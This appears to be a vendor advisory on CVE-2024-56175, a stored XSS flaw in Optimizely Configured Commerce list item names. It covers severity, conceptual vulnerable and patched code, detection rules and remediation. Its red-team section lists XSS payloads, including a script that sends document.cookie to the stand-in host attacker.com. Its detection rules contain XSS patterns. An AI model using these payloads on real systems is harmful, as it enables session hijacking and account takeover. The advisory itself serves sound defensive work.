CVE-2024-56175
Executive Summary
CVE-2024-56175 is a stored Cross-Site Scripting (XSS) vulnerability found in Optimizely Configured Commerce, specifically affecting versions prior to 5.2.2408. The vulnerability arises from client-side template injection within list item names, allowing an authenticated attacker with sufficient privileges to store malicious payloads. When other users (including administrators) view the affected list items, the payload executes in their browsers. This can lead to session hijacking, credential theft, or further compromise of the e-commerce platform. The vulnerability has a CVSS score of 0.0 in the NVD data, but this is likely a placeholder; the actual severity is high due to the stored nature and potential for privilege escalation. No public proof-of-concept (PoC) or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Optimizely Configured Commerce platform, a proprietary .NET-based e-commerce solution. It is not an open-source package (NPM, PyPI, Go, Ruby) and does not have a direct supply chain impact. However, organizations using this platform should verify the integrity of their deployment and ensure no third-party plugins or customizations introduce additional attack surface.
CVSS Breakdown & Threat Level
While the official CVSS vector is unknown, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required beyond standard web access.
- Privileges Required (PR): Low (L) – An attacker needs an authenticated account with permission to create or edit list items.
- User Interaction (UI): Required (R) – The victim must view the malicious list item.
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., steal session cookies).
- Confidentiality (C): High (H) – Successful exploitation can lead to full data exposure.
- Integrity (I): High (H) – The attacker can modify content or perform actions on behalf of the victim.
- Availability (A): Low (L) – The primary impact is on data and functionality, not service availability.
Estimated CVSS Score: 8.0 (High)
Threat Level: High. The stored XSS nature allows persistent attacks against multiple users, including administrators, potentially leading to full platform compromise.
Deep Dive & Mechanics
The vulnerability is a classic case of client-side template injection leading to stored XSS. In Optimizely Configured Commerce, list item names are rendered using a client-side templating engine (likely Handlebars, Mustache, or a similar framework). The application fails to properly sanitize user input before inserting it into the template context.
Attack Flow:
- An authenticated user with the ability to create or edit list items (e.g., product categories, custom lists) crafts a malicious payload.
- The payload is stored in the database without proper sanitization.
- When another user (including an administrator) navigates to a page that renders the list item name, the client-side template engine processes the stored string.
- If the payload contains template expressions (e.g.,
{{constructor.constructor('alert(1)')()}}), the engine executes them, leading to arbitrary JavaScript execution in the victim's browser.
Root Cause: The application does not escape or sanitize user input before passing it to the client-side template engine. This allows an attacker to break out of the intended template context and inject arbitrary code.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual - C#/Razor):
// In a Razor view or API endpoint
@model ListItem
<div>@Model.Name</div> <!-- Direct output without encoding -->
Patched Code (Conceptual):
// Using proper HTML encoding
@model ListItem
<div>@Html.Encode(Model.Name)</div> <!-- Encode output to prevent injection -->
Client-Side (Vulnerable):
// Template rendering without sanitization
var template = Handlebars.compile(document.getElementById('item-template').innerHTML);
var html = template({ name: userInput }); // userInput is not sanitized
Client-Side (Patched):
// Sanitize input before template rendering
var sanitizedInput = DOMPurify.sanitize(userInput);
var template = Handlebars.compile(document.getElementById('item-template').innerHTML);
var html = template({ name: sanitizedInput });
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an Optimizely Configured Commerce instance (version < 5.2.2408).
- An authenticated account with permissions to create or edit list items.
Exploitation Steps:
- Log in to the application.
- Navigate to a list management page (e.g., "Product Categories" or "Custom Lists").
- Create a new list item with a malicious name. Example payloads:
- Basic alert:
<img src=x onerror=alert(1)> - Template injection:
{{constructor.constructor('alert(document.cookie)')()}} - Session hijacking:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
- Basic alert:
- Save the item.
- Wait for an administrator or other user to view the list.
- The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the victim, or escalate privileges.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team
Detection Steps:
- Monitor for unusual list item names containing HTML tags or JavaScript code.
- Review web application logs for requests to list management endpoints with suspicious payloads.
- Use the YARA and Sigma rules provided in the Detection Engineering section.
Hunting Queries:
- Splunk:
index=web sourcetype=access_logs uri_path="/list/*" form_data=*<script>* - ELK:
GET /list/* AND form_data.keyword:*<script>*
Lab Setup:
- Deploy a vulnerable version of Optimizely Configured Commerce (e.g., 5.2.2400) in an isolated environment.
- Create test users with different privilege levels.
- Use a browser with developer tools to inspect network requests and responses.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal?cookie=...). - Unusual
Refererheaders pointing to list management pages.
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
- File IOCs:
- Log entries containing
<script>,onerror,onload, or template expressions like{{...}}.
- Log entries containing
- Behavioral IOCs:
- Unexpected creation or modification of list items by low-privilege users.
- Multiple failed login attempts from the same IP after a stored XSS payload is triggered.
Detection Engineering
YARA Rule
rule CVE_2024_56175_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Optimizely Configured Commerce list item names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56175"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$xss4 = /{{[^}]+}}/ // Template injection pattern
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2024-56175 Stored XSS in Optimizely Configured Commerce
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit stored XSS via list item names
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-56175
logsource:
category: web
product: optimizely
detection:
selection:
uri_path|contains: "/list/"
form_data|contains:
- "<script"
- "onerror="
- "{{"
condition: selection
falsepositives:
- Legitimate use of HTML in list names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56175 Stored XSS Payload in List Item Name"; flow:to_server,established; content:"/list/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Optimizely Configured Commerce to version 5.2.2408 or later.
- Input Validation: Implement strict server-side validation for all user inputs, especially list item names.
- Output Encoding: Ensure all user-supplied data is properly HTML-encoded before rendering in client-side templates.
Long-Term Measures:
- Content Security Policy (CSP): Deploy a strict CSP to mitigate the impact of XSS even if a vulnerability is exploited.
- Web Application Firewall (WAF): Configure WAF rules to block common XSS payloads.
- Regular Security Audits: Conduct periodic code reviews and penetration testing.
Workarounds (if patching is not immediately possible):
- Disable the ability for non-admin users to create or edit list items.
- Manually review and sanitize all existing list item names.
Valters IT
Securing Digital Frontiers